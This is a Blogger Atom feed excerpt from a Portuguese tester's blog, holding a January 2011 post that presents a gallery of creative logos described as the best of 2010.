<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearch/1.1/' xmlns:georss='http://www.georss.org/georss' xmlns:thr='http://purl.org/syndication/thread/1.0' xmlns:gd='http://schemas.google.com/g/2005' gd:etag='W/&quot;Dk8BRHw_eCp7ImA9Wx9WEks.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755</id><updated>2011-01-17T03:47:35.240-08:00</updated><title>passos  de uma tester</title><subtitle type='html'>Porquê "Navegar é preciso; viver não é preciso"</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default?redirect=false&amp;v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>27</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry gd:etag='W/&quot;D04NQ3gyfyp7ImA9Wx9WEE0.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-1472220402899284171</id><published>2011-01-14T03:35:00.000-08:00</published><updated>2011-01-14T03:53:12.697-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-01-14T03:53:12.697-08:00</app:edited><title>Ilha do Desing</title><content type='html'>&lt;p&gt;  Bem vindo navegantes hoje vamos  dar uma pequena olhada na ilha das logomarcas criativas,  do tipo que a gente pensa "caracas... como o cara conseguir ter uma ideia dessa"&lt;br /&gt;essas foram consideradas as melhores de 2010&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA39ok_RzI/AAAAAAAAAUo/Z0CG1gHAZFk/s1600/z10sgiuc.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA39ok_RzI/AAAAAAAAAUo/Z0CG1gHAZFk/s400/z10sgiuc.jpg" alt="" id="BLOGGER_PHOTO_ID_5562007071806670642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA39sPZlNI/AAAAAAAAAUg/lO0XVhXbq2g/s1600/antartica_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA39sPZlNI/AAAAAAAAAUg/lO0XVhXbq2g/s400/antartica_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562007072789861586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA39ELLYVI/AAAAAAAAAUY/JnDa9R1c7vE/s1600/45-d_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA39ELLYVI/AAAAAAAAAUY/JnDa9R1c7vE/s400/45-d_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562007062034735442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3w2ILOfI/AAAAAAAAAUQ/XCgVk0ffQSE/s1600/44-quickmeals_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3w2ILOfI/AAAAAAAAAUQ/XCgVk0ffQSE/s400/44-quickmeals_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006852105615858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA3wuEr3ZI/AAAAAAAAAUI/CgxzYLDXf5o/s1600/43-mo_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA3wuEr3ZI/AAAAAAAAAUI/CgxzYLDXf5o/s400/43-mo_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006849943494034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA3wXu2ohI/AAAAAAAAAUA/P4mZZBbjwVM/s1600/42-pencil_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA3wXu2ohI/AAAAAAAAAUA/P4mZZBbjwVM/s400/42-pencil_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006843946344978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA3wGqrz5I/AAAAAAAAAT4/bdBw-vXj6Fs/s1600/41-food-writers_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA3wGqrz5I/AAAAAAAAAT4/bdBw-vXj6Fs/s400/41-food-writers_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006839365455762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA3v6uqjQI/AAAAAAAAATw/CwAkc99qkd0/s1600/40-tony_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA3v6uqjQI/AAAAAAAAATw/CwAkc99qkd0/s400/40-tony_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006836160924930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA3fF1TVhI/AAAAAAAAATo/MTwJAehYjvc/s1600/39-version_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA3fF1TVhI/AAAAAAAAATo/MTwJAehYjvc/s400/39-version_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006547083777554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA3e7QC91I/AAAAAAAAATg/FJPnaTiKcnY/s1600/38-onwine_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA3e7QC91I/AAAAAAAAATg/FJPnaTiKcnY/s400/38-onwine_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006544243160914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3eZBVlvI/AAAAAAAAATY/2bZ__MGSp6s/s1600/37-knott_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3eZBVlvI/AAAAAAAAATY/2bZ__MGSp6s/s400/37-knott_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006535054661362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3eMMCgoI/AAAAAAAAATQ/OySCQA3OGWw/s1600/36-harbin_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3eMMCgoI/AAAAAAAAATQ/OySCQA3OGWw/s400/36-harbin_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006531609887362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3d3yPw-I/AAAAAAAAATI/VVibBRODTug/s1600/35-love_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3d3yPw-I/AAAAAAAAATI/VVibBRODTug/s400/35-love_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006526132995042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA3JJKllHI/AAAAAAAAATA/Q-vf6NxsUbs/s1600/33-evol_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA3JJKllHI/AAAAAAAAATA/Q-vf6NxsUbs/s400/33-evol_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006170021237874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA3IpqFoRI/AAAAAAAAAS4/omfWN8fGHh0/s1600/32-bridges_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA3IpqFoRI/AAAAAAAAAS4/omfWN8fGHh0/s400/32-bridges_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006161563427090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA3ITGfmuI/AAAAAAAAASw/pfvjR3ZDUOo/s1600/31-animal_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA3ITGfmuI/AAAAAAAAASw/pfvjR3ZDUOo/s400/31-animal_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006155508554466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3IN5moBI/AAAAAAAAASo/dzkKt3MHvkc/s1600/30-aa_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA3IN5moBI/AAAAAAAAASo/dzkKt3MHvkc/s400/30-aa_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562006154112311314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA22Wjo3QI/AAAAAAAAASg/Ij6DgHpd6C0/s1600/29-citu_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA22Wjo3QI/AAAAAAAAASg/Ij6DgHpd6C0/s400/29-citu_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005847198457090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA22GAYaVI/AAAAAAAAASY/qbPwGBMf0nQ/s1600/28-11_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA22GAYaVI/AAAAAAAAASY/qbPwGBMf0nQ/s400/28-11_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005842755610962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA216AAVSI/AAAAAAAAASQ/hCocSvtZfRw/s1600/26-fit_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA216AAVSI/AAAAAAAAASQ/hCocSvtZfRw/s400/26-fit_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005839532807458" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA2k5zxOoI/AAAAAAAAASI/hDtuC4HbLQI/s1600/24-gulp_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA2k5zxOoI/AAAAAAAAASI/hDtuC4HbLQI/s400/24-gulp_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005547423709826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA2kvwqKsI/AAAAAAAAASA/-O77FbqnNIE/s1600/23-h30_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA2kvwqKsI/AAAAAAAAASA/-O77FbqnNIE/s400/23-h30_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005544726309570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA2kSYoSTI/AAAAAAAAAR4/0pYsYtL2V3s/s1600/22-illusru_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA2kSYoSTI/AAAAAAAAAR4/0pYsYtL2V3s/s400/22-illusru_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005536840894770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA2j5D9R5I/AAAAAAAAARw/HfvHfr-geGU/s1600/21-oil_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA2j5D9R5I/AAAAAAAAARw/HfvHfr-geGU/s400/21-oil_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005530043303826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA2NVJYJpI/AAAAAAAAARo/EP03VDzbtpI/s1600/20-waze_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA2NVJYJpI/AAAAAAAAARo/EP03VDzbtpI/s400/20-waze_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005142445237906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA2NRA93YI/AAAAAAAAARg/NgIgFsaKP1E/s1600/19-ya_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA2NRA93YI/AAAAAAAAARg/NgIgFsaKP1E/s400/19-ya_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005141336219010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA2M4Oz5GI/AAAAAAAAARY/lfFvaxD_7OE/s1600/18-pause_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA2M4Oz5GI/AAAAAAAAARY/lfFvaxD_7OE/s400/18-pause_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005134683399266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA2MgXMPpI/AAAAAAAAARQ/64XWoU60s3E/s1600/17-ss_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA2MgXMPpI/AAAAAAAAARQ/64XWoU60s3E/s400/17-ss_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005128276098706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA2MeYbGsI/AAAAAAAAARI/j1rmPrDONTo/s1600/16-sex_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA2MeYbGsI/AAAAAAAAARI/j1rmPrDONTo/s400/16-sex_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562005127744395970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1xUgUrtI/AAAAAAAAARA/7KMW43x1OVo/s1600/15-push.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1xUgUrtI/AAAAAAAAARA/7KMW43x1OVo/s400/15-push.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004661236707026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA1xAzE_NI/AAAAAAAAAQ4/mMEQBFPArNQ/s1600/14-illu_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA1xAzE_NI/AAAAAAAAAQ4/mMEQBFPArNQ/s400/14-illu_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004655946661074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1wmNHeFI/AAAAAAAAAQw/ZEPhaf6nDDM/s1600/13-chariot_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1wmNHeFI/AAAAAAAAAQw/ZEPhaf6nDDM/s400/13-chariot_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004648808118354" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA1wXy-coI/AAAAAAAAAQo/VT4vh0eKsDQ/s1600/12-egg_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA1wXy-coI/AAAAAAAAAQo/VT4vh0eKsDQ/s400/12-egg_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004644940378754" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA1wE_GbKI/AAAAAAAAAQg/ot4Au8ktCGw/s1600/11-villa_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://1.bp.blogspot.com/_-41jYT6T2VQ/TTA1wE_GbKI/AAAAAAAAAQg/ot4Au8ktCGw/s400/11-villa_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004639890959522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA1jqs-VgI/AAAAAAAAAQY/SqpPYcUyhJs/s1600/9-infinity_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA1jqs-VgI/AAAAAAAAAQY/SqpPYcUyhJs/s400/9-infinity_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004426677179906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1jdHsVKI/AAAAAAAAAQQ/AafroL9-gQY/s1600/8-enough_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1jdHsVKI/AAAAAAAAAQQ/AafroL9-gQY/s400/8-enough_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004423031149730" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1jL-tDAI/AAAAAAAAAQI/SKx8kwVe3AM/s1600/7-anti_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1jL-tDAI/AAAAAAAAAQI/SKx8kwVe3AM/s400/7-anti_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004418430045186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1ixKCUoI/AAAAAAAAAQA/Oo0htH3MLZU/s1600/6-25_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1ixKCUoI/AAAAAAAAAQA/Oo0htH3MLZU/s400/6-25_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004411229819522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA1ULFD8LI/AAAAAAAAAP4/A0A8US-zEyw/s1600/5-wd_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA1ULFD8LI/AAAAAAAAAP4/A0A8US-zEyw/s400/5-wd_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004160490238130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA1T2Hs9sI/AAAAAAAAAPw/EO-gTzKC6bM/s1600/4-mc_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_-41jYT6T2VQ/TTA1T2Hs9sI/AAAAAAAAAPw/EO-gTzKC6bM/s400/4-mc_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004154864170690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1TUkw3mI/AAAAAAAAAPo/-P9Ri0Ehoh8/s1600/3-cofee_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1TUkw3mI/AAAAAAAAAPo/-P9Ri0Ehoh8/s400/3-cofee_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004145859255906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1TIPxXrI/AAAAAAAAAPg/lZTIaXKsH9I/s1600/2-loc-m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA1TIPxXrI/AAAAAAAAAPg/lZTIaXKsH9I/s400/2-loc-m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004142549982898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA1S-qJIqI/AAAAAAAAAPY/fZflUgiqmCw/s1600/1-spartan_m.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://3.bp.blogspot.com/_-41jYT6T2VQ/TTA1S-qJIqI/AAAAAAAAAPY/fZflUgiqmCw/s400/1-spartan_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5562004139976237730" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-1472220402899284171?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/1472220402899284171/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/ilha-do-desing.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/1472220402899284171?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/1472220402899284171?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/ilha-do-desing.html' title='Ilha do Desing'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_-41jYT6T2VQ/TTA39ok_RzI/AAAAAAAAAUo/Z0CG1gHAZFk/s72-c/z10sgiuc.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry 